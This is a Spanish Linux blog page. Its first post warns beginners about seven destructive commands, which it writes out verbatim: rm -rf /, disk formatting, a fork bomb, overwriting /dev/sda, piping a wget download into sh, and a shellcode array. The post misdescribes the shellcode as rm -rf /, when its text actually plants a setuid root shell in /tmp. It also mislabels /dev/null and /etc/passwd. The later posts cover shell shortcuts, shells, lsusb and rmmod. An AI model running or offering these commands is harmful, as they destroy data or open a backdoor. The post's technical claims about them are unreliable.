jueves, 27 de mayo de 2010

7 comandos peligrosos para Linux

Si eres nuevo en Linux, las oportunidades de que alguién te engañe diciendote que uses algún comando para destruir tu sistema son muy altas, por eso es bueno conocer los comandos más peligrosos para GNU/Linux, en Tech Source from Bohol hay un listado de los 7 comando más mortales para Linux, (traducción en Nierox) , algunos de estos comandos pueden formatear el disco duro, dañar los archivos, etc.

  1. rm -rf /
    Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comando rm -rf /.
  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Esta es la versión hexadecimal de rm-rf / que pueden engañar hasta a los usuarios expertos de Linux.
  3. mkfs.ext3 /dev/sda
    Este comando formatea la partición que se menciona después de mkfs.
  4. :(){:|:&};:
    A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.
  5. any_command > /dev/sda
    Este comando provoca perdida total de datos, en la particion que se menciona en el comando
  6. wget http://alguna_fuente_no_confiable -O- | sh
    Esto descarga paquetes de alguna fuente no confiable y la ejecuta, debes tener mucho cuidado ya que puede ser código malicioso
  7. mv /home/tu-carpeta-home/* /dev/null
    Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.

Por ninguna razón vayas a ejecutar estos comando en Linux, esto es más bien con fines didácticos.

sábado, 20 de febrero de 2010

Shell – trucos

uso del tab
uso de las teclas de dirección, historia de comando 500
movimiento rapido Ctrl+p .... Ctrl+N
Búsqueda Ctrl-R
Movimiento en la línea Ctrl-A Ctrl-E y Ctrl-B Ctrl-F
Borrado de texto, carácter Ctrl-D y hasta el finalCtrl-K
Borrado de historial, history –c
transpocición de texto presionanto Ctrl+t

viernes, 19 de febrero de 2010

comandos

Visualiza directorio de trabajo
pwd
Visualiza una línea de texto
echo
Ejecutar un programa y salir de term
exec
./programa ejecutable bash u copilado
Tiempo de ejecución de un comando o programa
time
Establecer opciones de bash
set
Terminar shell
exit , logout

cd

cd loquesea

Cambia al directorio loquesea del directorio actual o del directorio que figura en la variable CDPATH. Véase el comando cd de builtins(7).

cd /

Cambia al directorio raíz.

cd

Cambia al directorio personal del usuario actual.

cd /loquesea

Cambia al directorio /loquesea.

cd ..

Cambia al directorio padre.

cd ~loquesea

Cambia al directorio loquesea del directorio personal del usuario.

cd -

Cambia al directorio anterior.

shell o interprete de comandos

El interprete de comandos es la interfaz entre el usuario y el sistema operativo. Por esta razón, se le da el nombre ingles "shell", que significa caparazón.
existen varios Shell:
Bash "Bourne again shell".- Se basa en los principios de Bourne shell de Unix, es la shell por defecto en linux.

Bsh.- "The bourne shell" es en el que bash se basa, no es a menudo usado en linux, aunque el comando bsh suele ser un enlace simbólico a bash.

tcsh "tenex C shell": es una shell bastante popular en algunos circulos, pero no principales distribuciones de linux para el shell por defecto. Aunque es similar al bash en muchos aspectos, difieren en algunos detalles como asignar variables de entorno.

Csh "c shell" el shell C original no es muy usado en linux, pero si un usuario esta familiarizado con csh, tcsh hace un buen sustituto.


Ksh "korn shell" fue diseñado para tomar las mejores características de la bourne shell y el shell C y ampliarlos aún más.

Zsh "Zero shell": Shell tiene la evolución más allá de la Shell Korn, incorporando características.

cada una de las vistas se diferencia de la anterior en que mejora y complementa las órdenes existentes y añade nuevas posibilidades.

cada usuario tiene una shel predeterminada, la cual se activará cuando se abra un indicador del comando. La shell predeterminada, se especifica en el archivo de configuración /etc/password en el último campo de la línea que corresponde al usuario.

esto es resultado de cat /etc/password
6:/home/christian:/bin/bash

Es posible cambiar de shell durante la sesión. Para esto, sólo debe ejecutar el archivo ejecutable correspondiente o bin/bash

saber que shell uso:
echo $SHELL

saber que versión de shell uso:
echo $BASH_VERSION

ubicación del comando.
whereis bash

Debian:/home/christian# whereis bash
bash: /bin/bash /etc/bash.bashrc /usr/share/man/man1/bash.1.gz

mostrar las shell de mi linux
Debian:/home/christian# cat /etc/shells
# /etc/shells: valid login shells
/bin/csh
/bin/sh
/usr/bin/es
/usr/bin/ksh
/bin/ksh
/usr/bin/rc
/usr/bin/tcsh
/bin/tcsh
/usr/bin/esh
/bin/bash
/bin/rbash
/bin/dash


para cambiar la shell por default
chsh -s /bin/bash

el comando
chsh - change login shell

viernes, 15 de enero de 2010

Linux USB Drivers:

USB es un protocolo y un puerto de hardware para la transferencia de datos desde dispositivos, por el puerto de interfaz ATA o SCSI y proporciona una mejor velocidad que el puerto serie RS-232 y puertos paralelos. el USB 1.0 y 1.1 permiten hasta 127 dispositivos y 12 Mbps de tranferencia de datos. el USB 2.0 permite velocidades mayores a 480 Mbps.

Varios diferentes controladores estan disponibles, con nombres tales como UHCI, OHCI, EHCI y R8A66597. Las distribuciones Linux vienen con los controladores para el común de los USB activados, por lo que debe activarse automáticamente al arrancar el ordenador. UHCI y OHCI manejan dispositivos USB 1.x, pero la mayoría de los controladores pueden manejar los dispositivos USB 2.o
Un modo sencillo de mostrar la información Básica de los dispositivos USB es el comando lsusb.

ejemplo lsusb
#lsusb
Bus 002 Device 005: ID 413c:8156 Dell Computer Corp. Wireless 370 Bluetooth Mini-card
Bus 002 Device 003: ID 413c:8157 Dell Computer Corp. Integrated Keyboard
Bus 002 Device 004: ID 413c:8158 Dell Computer Corp. Integrated Touchpad / Trackstick
Bus 002 Device 002: ID 0a5c:4500 Broadcom Corp. BCM2046B1 USB 2.0 Hub (part of BCM2046 Bluetooth)
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 002: ID 08ff:2810 AuthenTec, Inc.
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 004: ID 05ca:18a0 Ricoh Co., Ltd
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 007 Device 002: ID 0458:003a KYE Systems Corp. (Mouse Systems)
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

-v :
información extendida sobre el producto.

-s [[bus]:][devnum]
restringe el resultado del bus y se especifica en el número del dispositivo.

-d [vendor]:[product] :
limita a un proveedor en particular y un producto. El vendedor y el producto son los códigos de identificación en cada linea de la salida de lsusb.

-D
muestra información sobre el dispositivo a través de nombre de archivo, en el directorio/proc/bus/usb.

-t
muestra la lista de dispositivos como un árbol de modo que podamos ver mas fácilmente que dispositivos están conectados a controladores específicos.

-- version
muestra la versión de la utilidad.


A principios para utilizar los dispositivos USB requiría un controlador independiente para cada dispositivo. Muchos de estos controladores permanecer en el núcleo, y algún software se basa en ellos. Por ejemplo, los dispositivos de almacenamiento USB que utilizan los controladores de disco de almacenamiento USB interactúan con el soporte de Linux SCSI, siendo discos duros USB, discos extraíbles, y así parecen dispositivos SCSI.

Linux es la migración hacia un modelo en el que un sistema de archivos USB proporciona acceso a los dispositivos USB. Este sistema de archivos aparece como parte del sistema de archivos virtual /proc.
En particular, la información del dispositivo USB es accesible desde /proc/bus/usb. Los subdirectorios de /proc/bus/usb se dan nombres numerados en función de los controladores USB instalado en el equipo, como en /proc/bus/usb/001 para el primer controlador USB. El software puede acceder a los archivos en estos directorios para control de los dispositivos USB en lugar de utilizar los archivos de dispositivo en /dev como con la mayoría de dispositivos de hardware.


Removiendo los módulos del kernel

A veces es posible que se desee quitar un módulo cargado. Las razones podría ser, la recuperación de pequeña cantidad de memoria, eliminación de un módulo antiguo para que pueda cargar un módulo actualizado, y la eliminación de un módulo que se sospecha que no es fiable. El trabajo de la eliminación de un módulo del kernel se hace mediante el comando rmmod, que es algo de lo contrario de insmod. El comando rmmod toma un nombre de módulo con una opción, en lugar de un nombre de archivo del módulo.
#rmmod floppy
-v or - -verbose : opción le dice a rmmod mostrar información extra sobre lo que está haciendo. Esto puede ser útil si está solucionando un problema.

-f or --force : fuerza la eliminación del módulo, esta opción no tiene efecto si esta marcada la opción del núcleo CONFIG_MODULE_FORCE_UNLOAD.

-w or --wait : detiene la eliminación de un módulo hasta que deje de ser usado, después es desistalado.

insmod y rmmod operan en un solo módulo. si se intenta remover un módulo que dependa de otros rmmod devolverá un mensaje de error. Si deseamos remover un módulo y todos los que dependen se puede utilizar el comando modprobe y su opción -r.